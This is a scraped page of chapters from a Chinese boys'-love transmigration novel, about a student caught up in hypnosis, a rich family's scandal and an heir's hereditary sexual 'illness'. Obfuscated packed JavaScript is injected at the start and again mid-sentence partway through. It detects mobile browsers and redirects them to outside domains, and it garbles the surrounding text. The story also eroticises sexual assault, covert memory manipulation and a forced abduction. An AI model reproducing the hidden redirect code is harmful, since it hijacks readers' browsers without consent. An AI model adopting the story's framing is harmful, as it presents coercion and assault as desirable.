;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250602|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次开口低声道:“……很喜欢。” 悯希笑了一声,从他手里拿过手机,用他面容解锁,再在通讯录里找到黎家家庭医生的手机号,发了一条短信过去。 黎星灼全程像是个傀儡,任他摆布。 悯希好不容易感到舒心一点,凳子上,手机铃声突然响起。 原主设置的铃声是一首摇滚音乐,贝斯和鼓点交杂,巨大声音让黎星灼瞬间回了些许神,也让悯希眼皮跳了两下。 他压了压心跳,心想回头就把这鬼畜铃声换了,接着平静接起电话。 凌晨四点半。 悯希神色凝重地从黎星灼房里走出来,脚步匆忙,带有一些恐慌。 悯希脑袋乱得像一团浆糊,慌不择路地走下楼梯,耳边似乎还回荡着医生的话:“叶同学,小婉晚上突然吐了两回,我们初步判定,病情有加重的可能,请你立刻来一趟医院。” 与此同时,深夜有关谢家的一则重磅炸裂新闻登上热搜,一众带白牌、蓝绳的记者守在学校门口,只等当事人一出现,就围上去堵截。 悯希一出门,迎面撞上一个男人。 男人个高,他被撞得头晕目眩,还没来得及站稳,扶住他的男人忽然一顿,开口道:“告诉我你的名字。” 不知怎么,下一刻,悯希眼中的亮光瞬间黯淡下去,红润的嘴唇张合,发出没有感情的声音:“是,我的名字叫……悯希。” 头顶传来低声:“我记住了。” 男人重复一遍,随后似乎有事要忙,从他身边匆匆走开,悯希的神情立刻恢复神采。 他低头,看了看自己还留有余温的手指,迷茫道:“奇怪,我站在这里干什么?” …… 谢恺封第一次凌晨六点还没有睡。 他床前的桌子上,摆着谢家厨师深夜做出来的香煎鹅肝、法式焗蜗牛和黑松露菌菇汤。 卖相极佳,醇香扑鼻。 而他则坐在落地窗前的沙发上,盯着腿上的电脑看。 闪烁的光芒显得他神情很专注。 如果不是里面一直传来不正常的水声的话,恐怕所有人都以为他看的是什么严肃的学术报告。 杜容是凌晨四点接到谢恺封的电话的,他从床上爬起来,连头发都没打理好,人已经坐上了车直奔雅月汇而去。 谢家权势滔天,杜容没怎么费功夫,1107号包间的监控视频,就被他成功拷贝下来,交给了谢恺封。 从悯希进到包间开始算起,视频一共一小时左右。 谢恺封从四点多看到六点。 视频里也不是别人,正是他特别熟悉的谢宥。 悯希被他压在怀里玷污,所有的挣扎都是那么无助,除去让饱受苦楚的嘴唇被更深含进外,别无用处。他布满被凌虐痕迹的唇肉上,津液淫靡,乱七八糟地粘在唇角和下巴,发出细碎声响的唇里,舌尖抽颤。 显示屏上的数字一秒一秒变换。 谢恺封神色也越来越幽冷。 这已经是他第二次看这视频。 作为私生子的谢恺封,身体里流着的就是掠夺的血液,所有想要的、美好的事物,他都习惯用争夺的方式抢来。 前两天他不明白,悯希已经被他抢在手里,为什么他仍然还是没有安全感。 现在,他是格外不舒服,尤其是当看到谢宥在吸弄那截软舌时。 这是什么情绪?他又露出疑惑。 房间里水声啧啧,充斥了整个黑暗的空间。 谢恺封脸上映着屏幕的蓝光,水声响了多久,他端坐的姿势就维持了多久。 直到里面的男人终于停下来。 从男人身上挣开的男生,嘴里发出塞子被用力拔开的声音,清晰的“啵”一声,如此淫.乱,又勾人嘴干。 男生似乎恨极了谢宥,但刚才承受的那些让他没有力气、也根本无法推开面前的人,甚至需要依靠在厌恶的人身上喘气。 他眼睫颤着,嘴唇早已被糟蹋得不堪入目,小小一团趴在男人胸膛上,如若一条海蛇,瘫软地露出剧烈抽搐的唇肉,蜜处失守,含不住从角落缓缓流出的口水。 不脏。 盯着那酡红精致的小脸,谢恺封想起了杜容那天交给他的那叠资料里,白纸黑字地写过一行字。 杜容说,悯希在学校里人缘不佳,很多人不敢惹他,却也讨厌他,没有人想和他交往,他平时只能跟其他跟班一起玩,不然就是独来独往。 可怎么会呢? 看,连谢宥都是这样。 又有谁会讨厌他? 只怕所有人都想在他下面的水里游泳,蝶泳、仰泳、狗刨。 再潜进深处咕噜噜冒泡。 真奇怪,他居然会对一个男生、和他同一个性别的人,有这种欲望和评价。 手指轻抬,谢恺封又将进度条拖回到最开始。 最初看到视频的妒恨和愤怒已经过去了,此时再看第三遍的时候,谢恺封心中只剩下嘲讽。 他伸手用拇指摩挲过屏幕上悯希的嘴唇,目光看向里面的谢宥,露出一点似笑非笑的神情。 废物就是废物。 都不能把他吻爽。 12.催眠(12) 夜晚的住院部,走廊幽深寂静,消毒水的气味在蔓延。 悯惜站在病房门外,几根细白如雪的手指在微微颤抖,好几次连靠稳墙的力气都差点失去。 半小时前,与他一起站在这里的主治医生告诉他:“悯婉的肾衰竭已经发展到尿毒症期,这段时间她的排毒、排水功能都会慢慢下降,并且会逐渐出现水肿和呕吐的症状。” “很遗憾的是,我们叫您来,就是因为她有了上述现象。” “目前她暂且稳定了下来,可就以她这几天的状况来说,肾移植手术迫在眉睫,她急需要一颗健康、完善的肾。” “……但在费用方面,全套下来保守估计要五十万,后续零七八碎的缴费还有很多,您要做好准备。” 在医院这种地方,听到如此残酷的宣告的人,除去悯希外还有许许多多。 但悯希不是第一次听,上辈子,在他学业最紧张的时候,也经历过这么一遭。 不同模样的医生,话语在他耳边完全重合。 悯希眼睫垂落,盯着地板上自己苍白的脸色,有一瞬情绪是崩溃的,好似又回忆起当初手足无措的心情。 只是这一次他没再感到那么昏暗。 谢恺封替他解决了。 谢家在中心医院有参股,前两天他已经替悯希把悯婉的病房升级到最高层,不仅护工专业,环境也优美,医疗设备和技术在这里得到最好保障。 悯希轻轻呵出一口气,一张欺霜胜雪的小脸上,眉心蹙起,好半天忧虑才慢慢缓解。 他抬起眼,听到有声音从前面病房里传出来。 对面病房的老头一到晚上就爱看电视,还不爱关门,悯希每次来看悯婉经过门前,都知道他在看什么,上次是欢乐喜剧人大赛,而这次…… 目光一飘而过,悯希看到那竖在墙上的电视屏里,是标准的新闻联播背景。 记者小姐咬字爽朗而专业的声音,一句句飘到病房外,“现在我们所在的地方是谢家当事人所在的学校,接下来,让我们进一步了解谢家贪污案……” 悯希移开的目光又转回去。 ……等等。 是他看错了吗? 电视上的人是谢宥? 记者小姐带领着摄像头往里走去,在绕过一条曲径小路之后,摄像头照出一张俊秀的脸。 这是一张一眼看去就知道是二十岁左右的脸,眉骨和面部轮廓,全都摆脱了青涩。 黑色衣服包裹住他的宽肩窄腰。 男人望向摄像头,举止从容不迫,眼中凝聚着复杂难辨的情绪。 记者小姐把话筒递到男人嘴边,刚刚开口说了一个谢字,里面病房的老头却到点要补觉了,拿起遥控器就关了电视。 悯希沉默。 他没听到记者问了什么,但在电视黑屏之前,他看到谢宥有一个低头看手机的动作。 好巧不巧,悯希左边衣服口袋里,手机传来提示音。 说出去恐怕都没人信,此时在电视机上与记者对谈如流的男人,相当自然地给悯希发来了一条短信。 悯希看到上方的备注时,耳边同步传来任务完成的恭贺声,还不太敢相信,再一晃神,眼睛就被狠狠扎了一下。 只见谢宥给他发来的,是一张提前照好的腹部照片,谢宥抬起衣摆,很随意地拍了下,没抓角度,也没硬凹肌肉,只是单纯拍了给他发过来。 从普世意义上看,照片上的腹部线条流畅而凌厉,匀称而不夸张,兼具有爆发力和观赏性,但悯希看着,只感觉鸡皮疙瘩狂掉。 为什么要给他发这种照片?大清早的,无缘无故,毫无由头,是发错了,还是故意想恶心他? 啊,对,他想起来了,他们在雅月汇约好的,他让谢宥碰,谢宥让他拍。 所以谢宥这行为不是在骚扰,而是在履行承诺。 但什么时候发不好,现在正被采访着,当着全国观众的面发这种图来…… 这神经病! 悯希愤然戳着手机屏幕,忽然之间,眼前余光出现一抹白色。 随后有声音压下来:“我来医院处理一些手续,没想到你也在。” 与一众病人素净的白色病服不同,男人穿的是白色衬衫,头发微卷,眉目温冷。 悯希愣住,张了张唇。 男人看着他的脸,道:“下午三点是原峤的追悼会,我想我应该和你说一声。” 娴熟而又自然的语气。 凌晨在学校门口时,悯希没看见他的脸,没想起在哪见过他,正想说一句,他认错人了。 【没认错,他是你未婚夫的好兄弟。】 悯希:“……?” 悯希睁大眼睛,没被系统突然出声吓到,被它话里内容惊到了,他是熬了整整一晚夜,但脑子也没痴傻到听不懂话的地步,怎么这句话这么难以理解呢。 什么叫未婚夫的好兄弟? 谁的未婚夫。 【触发关键人物,路人甲背景身份完善中。】 【叶诚,“叶悯希”真正的养父在两月之前,让“叶悯希”去相过一次亲。 对方家境显赫,本应看不上他,却因那段时间正与家里人对抗,故意娶了一个徒有外表的花瓶回去,正是同为男性的“叶悯希”。】 【原峤与“叶悯希”毫无感情,可在外人面前,他们是即将步入婚姻殿堂的情侣,他们感情融洽,没有摩擦,是能互相包容的天作之合。 所有人都以为他们会顺利完婚,只可惜,原峤在一次北漂路上,突发意外,身体被卷入火车履带里当场身亡。 他死讯传到潭市时,“叶悯希”刚挑好一对婚戒。 “叶悯希”无法接受,悲伤过度,实际他是怕原峤一死,原家根本不会承认他,他一分钱捞不着。】 【他坐上几个少爷的顺风车,打算北上确认原峤是否真死了,但他没想到这帮刚拿上驾照的公子哥竟然如此不靠谱,驶上盘山公路时,撞到了人。 鲜血淋漓的身体让这帮公子哥相当害怕,他们认出那人是谢家想认回的谢宥,怕谢宥回去后用权报复他们。 于是一个个在肇事逃逸后,互相出馊主意,搜罗谢长山贪污证据,匿名传到了谢长山邮箱里,逼迫他放弃与谢宥相认——致使谢宥有家不能回。 而“叶悯希”在那之后,也果真遭到了原家的驱逐,他们知道“叶悯希”是图原峤的钱,是个拜金男。 只有他的好兄弟,沈青琢,记得你,认为你和原峤是真爱。】 悯希无比茫然地听着,彻底傻了。 面前递过来一张卡。 沈青琢垂下眼,望着这个兄弟遗留下来的、看起来无比脆弱的未婚妻,“我会在潭市定居,如果你有什么需要,以后可以直接来找我。” …… 追悼会开始的时候天阴下来了,雨下很大。 沈青琢望向窗外,依稀记得原峤出意外那天,也是这样的大。 他坐在后排隐秘的地方,微微抬头,几乎坐满的礼堂里,没有见到悯希的身影。 悯希最后在沈青琢眼中的样子,是他在原峤身边时从没见过的。 睫毛颤得飞快,紧抿的嘴唇极其苍白,看起来好像哭过好几回一样。 易碎、脆弱、清纯。 被沈青琢认为脆弱清纯的悯希,这会正在琉璃台前面,拿着一条渔网高筒黑丝袜,往腿里套。 他面前的桌子上还有两个皮质套圈,用来套在大腿根上的。 悯希一边怀疑人生,一边往上拽袜子,气得头都有点晕。 他从医院回去,在宿舍里一觉睡到下午,还没睡醒,系统就给他发来新任务。 【你听说谢家迫于压力认回了谢宥,谢宥一朝翻身成凤凰,又想到了坏主意。 你想穿上女装、再拿着谢宥给你发的隐私照,去谢家大闹,让大家以为谢宥怎么了你,逼谢宥认你做女朋友,这样你就能骑在谢宥头上作威作福,还有大把钱花。】 一点下限都没有,可他偏偏还不能不做。 悯希穿好衣服,笨拙地戴上从路边随意买的劣质假发,脸上什么都没涂没抹,踉踉跄跄走出学校打车。 因为穿不惯高跟鞋,他还差点崴脚。 站在街边打车的时候,悯希双腿紧紧并拢,一小截细白的手指挡在最上面的袜口上,背影看起来很清纯。 可那套圈太勒肉,别人甫一看他腿里被勒住的肉,又会觉得他魅惑、丰满、勾人心魄。 谢家离学校不算远,大约二十多分钟,悯希来到谢家门口。 他闯进过谢宥家一回,这会稍微熟练了一点,没那么害怕了。 不过大门里不断有经过的保姆和保镖,悯希不敢轻易过去,直到将近好几分钟都再没人路过,他才鼓起勇气一口气跑进谢家,跑上楼梯。 ……谢宥的房间会在哪里? 不对,更重要的是,谢宥搬过来了吗,不会人不在谢家吧? 悯希跑到二楼,放轻脚步,鬼鬼祟祟扶在墙上,往前悄悄地走,一连路过两个房间。 悯希突然觉得自己很冒进,还没搞清状况就跑来了,万一谢宥不在—— 在悯希胡七八想时,不明显的嘎吱声在斜侧方响起,等到悯希再往前走了两步,突然看见余光里有黑影,他人都没看见,就被捂住嘴巴拉了进去。 后背撞上坚硬的胸膛,悯希轻哼一声,眼里泛滥开水光。 一只手从他背后伸来,当着他的面锁上门。 悯希被大掌捂着下巴张脸,连声音都发不出来,他用力拉拽嘴上的手,可别说拽动,他脚尖都踮了起来,因为碰不到地,在轻微地搓动。 悯希被这变故吓懵,直到耳边拂来热气:“刚才就看见你在楼下,你要干什么。” 谢宥的声音! 悯希惊喜过后就是愤怒加尴尬,不过这一会,他的愤怒更多,他连忙要出声,谁知张嘴就是:“呜呜呜。” 谢宥一顿,松开手,悯希擦了擦嘴巴,又重复:“来找你……” 谢宥情绪不明道:“穿成这样?” 悯希别开目光:“对,我就穿成这样,你管我!我爱怎么穿怎么穿。” 悯希第一次以这种形象示人,本来脸就小,脸皮还薄,羞耻一上头,就变成怒火。 他又狠狠擦过嘴巴,刚想回头看谢宥,一股风吹过他光滑无比的后颈,瞬间给他的身体带去一阵颤栗的波动。 悯希立刻转过身。 悯希唇角僵硬,还没想好用什么表情来面对谢宥,目光就钻到了后面,直直看到了谢宥身后的房间。 这早就日上三竿了,帘子还没打开,屋子暗沉沉的,床榻上的皱褶过分多,好似刚才躺在上面的人,在忍受多么大的痛苦。 悯希挪开视线,抬起来正好对上旁边站得笔直的谢宥,他皱了下眉,是他错觉吗? 谢宥那黑白分明的眼珠,怎么都觉得颤动得有些不正常。 总觉得,有点瘆得慌了。 悯希心怦怦跳地探出舌尖,舔了下干涩的唇瓣,他干巴巴地吞咽了下,说:“你怎么不拉窗帘?” 谢宥没说话。 悯希也不想问了,正准备直接拿出照片逼谢宥—— 【快走。】 悯希:“?” 为什么?好不容易才来。 【谢家有遗传性精神疾病,一旦发作会有极为恐怖的精力,不在短时间宣泄出去,对身体有严重损伤,对他们来说,最简单的宣泄方式就是性,而让他们发病的诱因可以是人,也可以是一种味道。】 【如果诱因是人,那么他至少会发病两天,并且会将引他发病的人视作可以孕育的母体,无时无刻都想和他*,严重时,不论亲人、朋友、长辈在不在场,他都要和那人接触,直到那人给他生出孩子为止。】 【我检测到,谢宥现在就在发病期,只是不明显,诱因很可能就是你,简而言之,再在这待下去,你会被他弄烂,一根手指都能让你尿床。】 悯希瞪大眼睛:【你……你这个时候说这些,让我怎么办啊?】 悯希吓死了,吓坏了。 他甚至没怀疑系统所说的真假,因为谢宥现在表情真挺不正常的,在雅月汇的时候也是,突然发疯。 越想越不对劲,明明刚被认回谢家,大把事要做,他却一整天窝在房间里? 悯希向后倒退一步,突然无比后悔今天出门的决定,他侧过眼,惊慌地咕哝道:“算了,我不找你了,我突然想起今天有事。” 他转身就要走,谢宥却突然抓住他:“今天有事?” 悯希用力抽手:“对。” 谢宥垂下眼,不知在想什么。 良久,他抬起眼,说:“那就明天,明天记得来找我。我会等你。” 男人力气极大,好似不答应就不让他走,楼下都是谢家的人,悯希哪敢和他纠缠:“我知道了,我找,我找!松手。” 谢宥手指微微一松。 悯希立刻落荒而逃。 与此同时,谢家另一处家产的某间房里,传出重物落地的声音,“哐”一声! 屋子里,谢恺封双眼通红,整个人状态都不太对,杜容只是在电话里说错一个字,他便面无表情地出声辱骂,难听话连篇,完全找不到平时故作亲和的样子。 他拉开衣领,露出青筋暴起的脖子,不顾杜容在那边说什么,暴躁地把手机扔开,大步走到床边,一把拎起被子。 不见了!他每晚放在枕头下面的怀表,没有了!他整整一天,挖地三尺都找不到,没有那表每日给悯希灌输错误的记忆,让悯希认同自己的身份,悯希根本不会认得他! “妈的。” 所有、所有都和他作对! 谢恺封癫狂地发了一阵疯,停下来,面无表情站了一会。 片刻,他勾唇,阴森森笑出声。 最好、他是说最好。 不要让他知道是谁偷的。 …… 悯希回到宿舍还有点心有余悸。 原主的宿舍是双人间,舍友叫曲庄,白天他补觉的时候,曲庄出去打球吃饭了,现在才回来。 一下午都在打球的男生后背全是汗,曲庄一边用毛巾擦汗,一边用余光觑悯希。 悯希正在往身上套外套。 曲庄在这住这么久,其实很少和悯希说话,他觉得悯希风评差,还不好相处,通常能不和他说话就不和他说话。 此刻,不知哪根筋搭错,曲庄忍不住开口问了一句:“这么晚还要出去?” 悯希抬眼看他,礼貌应了一声:“我要回……” 话音突然顿住。 嗯?他要回哪?他不是一直都住宿舍吗。 悯希蹙紧眉,眼中如若有某种认知在坍塌,他冲曲庄摇了摇头,又脱下外套,重新坐回床上。 曲庄见状,也没有多说。 第二天悯希和曲庄都没课,曲庄照常去打篮球,悯希则窝在宿舍里一整天都没出去。 谁知道谢宥恢复正常没有,万一一出去就碰上那疯子,悯希真会一头撞死。 曲庄是晚上十二点多回来的。 兴许是昨晚悯希对他的态度很友好,曲庄这人又天生自来熟,晚上回来还特意给悯希捎了份炸鸡排。 悯希吃着的时候,他进去洗澡。 曲庄浸在水里,草草冲洗几下,披上衣服就走出去:“悯希,你有没有听说谢宥——” 悯希正坐在开着台灯的帘子里,翻弄着手里的书,一刻钟过去,他已渐渐进入幽玄的状态中,谁也无法打扰,然而这一声“谢宥”却猛地砸破了他那周身生人勿近的屏障。 他手一抖,稍显细长的眼尾撑圆,立刻偏过头,惶恐至极地看向曲庄:“做什么,做什么突然提不相关的人?” “……我是想问谢宥的事你听说了没有?就昨晚那新闻,闹得全校都沸沸扬扬的。” 曲庄站在床边,见悯希明显松一口气,狐疑地凑过去:“你反应怎么这么大?我早就想问了,你看书的时候一直在走神,不是一次,是好几次,谢宥怎么你了?” 悯希拿起空空如也的水杯,抿了一口:“没有,你想多了。” 曲庄不好糊弄:“行,你不告诉我,之后憋坏了,求着想和我倾诉都没门。” 悯希还是没说,重新翻开书,在刚才折起的那一页继续看起来。 曲庄没再自讨没趣,转过身吹夜风。 他和悯希所在的楼层很高,往下看,能看见远处错落的万家灯火,曲庄盯着望了会,忽然舔舔嘴巴:“悯希,我们去吃夜宵怎么样?我请你。” 悯希抬眼,用一种“你疯了”的眼神看他:“饭店都关门了,你不睡,老板还得睡。” 曲庄晚上没怎么吃东西,这时一说,一口胃被唤醒,急需各种山珍海味填满。 他怂恿道:“我知道有一个夜间也开的趣味餐厅,模拟古代酒楼建筑的,那里的炙鳆鱼特别鲜,炙鳆鱼你知道吧?就是把鲍鱼放在火上烤,外皮酥的,里面嫩的。” 悯希捧着书绕了一圈,背对他。 曲庄立刻狗腿地晃到他眼前:“悯希,你不爱吃炙鳆鱼,那换别的,八糙鹌子怎么样?辣脚子姜?鹿脯?蜜渍豆腐?澄粉水团?羊蹄笋——” 悯希:“停。” “我真想吃,我们翻墙出去,吃完就回。” 曲庄见那张脸上不为所动,深吸一口气,沉痛道:“我一个人出去会寂寞,你今天陪我去吃了夜宵,我从明天开始,给你带饭一周。” 悯希半垂的眼睫动了一下,曲庄捕捉到这一细节,马上煽风点火地承诺:“悯希,你出去打听打听,我曲庄从来没骗过人,答应的我肯定做到,说一周就一周。” 悯希目光在书上驻足半晌,抬起来:“你说的地方在哪里?” 曲庄眼睛顿时放光:“扬甫饭店,就在学校一出去的那条街。你是答应了?” 扬甫,悯希没有印象,但如果是晚上出去,应该不会碰到谢宥…… …… 夜间的扬甫饭楼依旧人声鼎沸,矗立在街上,客人们举杯、饮酒,笑着进门,醉着出去,人站在好几米外仿佛都能闻见从里面飘出的鲜嫩香味。 曲庄整个人如遇第二春,神色焕发光彩,他大步走进门里,很快迎来一位娇俏的女子:“哟,曲同学,好几天没见你了,去哪里潇洒了?” 悯希跟在后面,发现这店里端菜的人,每一个都长相不错,还各色各样的,有翩翩少年郎,有窈窕淑女,有壮若武松的,有柔弱无骨的。 曲庄很明显是这里的常客,他走进去,那些人就是端着菜也要和他打声招呼。 “曲同学,可想坏你了~” “几天不见,曲同学身材更好了,让我摸摸呗?” 曲庄也游刃有余,挨个和他们打招呼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15259979|165099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯嗯,喜桃,春蜜……” “没去哪潇洒,最近课多,你看这不来了。” “呵呵,你是想我钱包吧。” “别!别搞那些!我说过好多遍,我不好男风!” 好不容易从这热情到令人窒息的包围中逃出来,曲庄坐下,拿起菜单推给悯希:“你看看要吃什么。” 说着,他又一顿:“你怎么那种眼神,你别想歪,我只喜欢喝酒吃饭,其他都没搞过。” 悯希默默低头看向食单,忽然又想起什么:“别喝酒,如果喝醉了我背不动你。” “好吧。” 曲庄撇撇嘴,怕悯希以后不再跟他出来,只好应下,他等悯希点完,自己又要了些常吃的菜,便把菜单还了回去。 这家店上菜挺快,没多久,桌子上就摆满了。 “这里有意思吧?和普通餐厅都不一样。” 曲庄喝了几口开胃水,正摩拳擦掌准备开动,想起落了点东西,于是抬头叫:“喜桃,帮我拿碟凉菜。” 喜桃没理他。 曲庄以为她在忙,又叫别人。 “春蜜!过来一下。” 谁知春蜜也没理他,曲庄一连又叫了好几人,没一个搭理他的。 “什么情况?怎么一个个都看门口,门口有谁啊?” 悯希也注意到了,他跟着曲庄一起朝门口看去—— 黑黢黢的夜晚,两根红柱之间的大门中,不知何时多出了一道高挑人影。 脸颊和鼻梁无比湿润,黑色衬衣全部湿透,紧紧贴着肌理分明的身躯,还有沿着蝴蝶骨一路向下的弧度,他站在原地,不进也不退,只是站着。 大晚上突然来了一个好像刚才水里跑出来的人,身上还有一股不可冒犯的贵气,任谁都要多看两眼。 曲庄怔怔:“这,这不是……” 悯希咀嚼虾仁的动作突然停下。 目光在门口停留片刻,他整个后背忽然都绷了起来,全身发麻,眼睛也不由睁大。 接着,他迅速低头把脸埋进碗里,干巴巴继续吃着饭。 但他这一埋,没埋多久,又抬起了头,悯希微微吸一口气,感觉门口有一道视线一直黏在他身上,黏得像有一根手指在脸侧挠。 一直在看他! 根本没办法装不认识啊。 而且一副马上会扑过来的样子。 悯希掐紧手里的碗,勉强镇定下来,半晌后,他站起身,在曲庄茫然的目光中朝门口走去。 浑身湿潮的人影动了动,微垂眼帘与他碰上目光,刹那间,悯希有种被狼咬住了后颈的错觉。 他和谢宥对视半天,硬着头皮伸出手,帮谢宥摘掉了头顶的一片树叶,只希望这示好的举动能让谢宥别那么疯,别让他在大庭广众下丢人。 这动作放在平时,以他们的相处模式来看,是不可能发生的,谁料谢宥不躲也不闪,甚至在他摘掉后,面无表情在他掌心里蹭了一下。 悯希感觉到那暖热的触感,愣了愣,有点意外,但同时也松了口气,感觉这个状态下的谢宥没他想象中的可怕。 因此,他收回手,尽量语气平静地问:“你来我找的?” 谢宥那双眼睛在他后方扫了一圈,又侧回来,盯住他。 神色看起来有些淡然:“你说,今天会来找我。” 悯希尴尬:“今天事太多,忘了,过几天行吗?” “……” 谢宥没说好,还是不好,他一个字都没说。 悯希等了半天都没等到回复,目光对视着都快要交融在一起了,他有点不自在,挪开了视线。 他觉得谢宥还是有点不对劲的,状态有点木,好像要思考很久才能理解一句话的意思,这病发作会发那么久吗? 悯希忍不住又看他一眼,只见谢宥目光还盯在自己脸上,一动不动,饭店的灯盏在他瞳仁里跳跃着,变成猩红的一滴血。 悯希倏然转过头,讪讪地坐下,招呼他:“要不要一起来吃点东西?我室友曲庄请客。” 曲庄接收到悯希的目光示意,连忙也要开口让谢宥坐下来,就听谢宥:“悯希。” “啊?” 这好像是头一回听谢宥叫自己名字,悯希有点新鲜,应得很快,眼睛也抬起来对上谢宥。 谢宥一双眼漆黑,盯着他,愈发深浓。 “我想睡N……” 悯希:“啊啊啊。” 早在谢宥说出“睡”字的那一刻,敏感的悯希就腾然站起身,用手掌捂住了他的下半张脸。 悯希一颗心上蹿下跳,回头看了眼整家店都在暗戳戳看着他们这边的客人,故意轻松道:“你这人也挺有意思,想睡觉就自己先睡啊,非要等我回家干嘛。” 曲庄在一旁欲言又止:“悯希,我怎么感觉他好像说的不是这个意思。” “闭嘴。” “哦。” 悯希低斥完曲庄,头皮发麻地抿住唇。 我天呢,好好睡觉多好,非要跑出来吃夜宵,这下好了,被色.欲上头的疯子追上门了。 他是怎么找到自己的? 悯希越想越崩溃,脑子里思绪乱七八糟的,这么自顾自想了会,一抬头,发现谢宥已经不在身边。 循着熟悉的低声望过去,悯希发现谢宥正垂眼和老板说着什么,一沓红大钞从他手里给出去,放在老板肥大的掌心里,老板那张茫然的脸上立刻心花怒放。 只见老板挥手叫来一人,附耳吩咐了句话,那人马上照办,接着便拿来了一捆线香和一台卧香炉。 卧香炉是扁平的,适合平放,炉里很干净,没有烧过香。 谢宥将那香拿在手里看了一眼,插在卧香炉里,随后眼珠转过去,开口。 “大门,关紧。” “一个人都不准出去。” 因为他的出手阔绰,老板几乎对他言听计从,笑着说了一声是,转过头就阴下脸,让店里人关上门,其余人都在门口守着,一个苍蝇都不能放走。 哐一声,大门被店员关紧,上了锁,整栋饭楼的光线仿佛都暗了些。 客人们愣着,都有些没反应过来,有几个不满的看见谢宥,又不太敢说话。 饭楼里的气氛顿时陷入了一种难言的恐怖里。 悯希看得胆战心惊,他不知道谢宥要做什么,低声问道:“谢,谢宥,你这是做什么,大家吃完饭都要回去睡觉的,你关上门,他们还怎么回?” “十五分钟时间。” “嗯?” 谢宥黑目盯着他:“你可以跑,可以躲,但要是被我抓到,我就要带你回我家。” 说罢,他抬起一只手,点燃了桌上的香。 悯希怀疑自己耳朵出了什么毛病,不可置信道:“谢宥,你在和我开玩笑吗?这个玩笑不好笑。” 谢宥低头重新看向香,香已经燃起来了,一点红色正慢慢沿着柱子往下爬。 这根线香不长,如果要燃完连一刻钟都不用,顶多五分钟就能见底。 悯希心跳有些快:“就算你真的要这么做,也不能把大门关了,好像不太公平,这店就这么小,我能往哪跑。” 谢宥死死盯着那根香,好似已经听不见外界的声音。 悯希有点受不了了,语气也不由自主变得有些哀求:“是我不对,我不该答应了你又不去找你,是我错了,你换个别的方式罚我行不行?” 谢宥还是只盯着那根香。 悯希深呼吸:“别,别这样。” 他心跳快得要炸了,而因为他这一耽误,香已经燃到了中间。 悯希被那一直往下吞的香弄得头疼,反应过来,他已经往楼梯上跑去。 扬甫饭店白天生意很好,通常三层楼都能坐满,虽然晚上也不错,但到底要少一些,人只坐满了一层,二层只有十几个。 二层的客人不知道下面发生的事,都各自吃各自的,没人注意到那道惊慌失措跑上去的身影。 悯希一路往上跑,跑到三层时,忽然想起他是要开窗往外跑的,这楼层不高,但越往上就说不准了,啧,他在犯什么蠢。 悯希撑住墙面停下来,缓了口气,正想往下走,但不知是不是太过着急所致,他在踩下第二层木制台阶时,脚腕扭了下—— 仓促间,悯希只顾得上咽下一声呻.吟,而后人已经趴在了楼梯上。 因为掉下去时提前撑住了胳膊,悯希没感觉有多痛,但还是闭了闭眼。 就是在这个时候,他忽然感觉到手底下的台阶在轻微的颤动。 “踏”“踏”“踏”…… 一步,一步,摄人心魄。 无法被光照到的楼梯拐角,高挑身影若隐若现,坠着水的衣服无法摆起来,紧裹在腰上,每缓慢往上走一步,上面的水珠便随之掉落一点。 这些水珠一路来到悯希面前,在他脚下的下一层楼梯停住。 悯希和那道身影对上视线的下一刻,呼吸骤然急促了点,谢宥抓住了他的右脚脚踝,抬了起来。 “啊,别。” 悯希下意识侧过身,抬高了点腰,这个姿势他用不上力,腿仿佛不是自己的。 随着谢宥往上抬,他的整条右腿连着上身都律动了下,像一条无法自理的水蛇。 悯希耳垂和眼尾泛着秾丽的红,缓了一会,努力仰头往上看去,只见目光所及的薄唇开合道。 “抓到了。” 13.催眠(13) 悯希在众目睽睽下,被眼珠颤动的谢宥带走了。 一路带到一辆黑车旁边,被放到了副驾驶上。 车门被锁,车窗紧闭,安全带拉紧,悯希被弄得苦不堪言。 他身体细细颤抖,脑袋飞快运作,思考着怎么才能从谢宥身边逃走。 首先,绝对不能去谢宥家里,那里的保镖只会听谢家人的命令,他去了,只怕是直奔狼窝。 悯希缩在右边的车门里,小小的一只,头顶的车灯照下来,如若在他肌肤上刷了层甜蜜。 他呼出一口气,忽然抬手按在了谢宥准备启动车子的手背上:“我不要去你家,你家里人太多了,我不喜欢。” 绵软的一片覆盖在手背上,因为害怕抖啊抖,像是在呼吸一般,在皮肤上若远若近,让谢宥呼吸颤栗地一晃。 他问:“那去哪?” 悯希硬着头皮道:“非要去的话,去我家。” 这句话以后,悯希发现谢宥的行驶目的地变了,果然在奔他家而去。 悯希的呼吸却越来越抖,因为这并不是缓兵之计,他家反而离这里更近,不到十分钟,悯希就看见一栋熟悉的高楼在他视线中出现。 谢宥停好车,打开车门走下去。 悯希被他从副驾驶里不情不愿地拉出来,随后一只手又被男人牵在手里,强硬地带着他往高楼那边走。 悯希把自己红到滴血的脸贴在谢宥胳膊上,神不知鬼不觉地从谢宥口袋里拿出了一部手机,暗戳戳翻起通讯录。 如果放在平时,就算是熟睡时,谢宥都不会这么没有警惕,可惜他现在深受发病的折磨,脑子里分不出多余的部分关注其他事。 谢家人的遗传病发作起来,痛感其实并不强烈,真正折磨人的是小火慢炖一般的欲望,将他们炙烤在火架上,越靠近诱因,越是会失去理智。 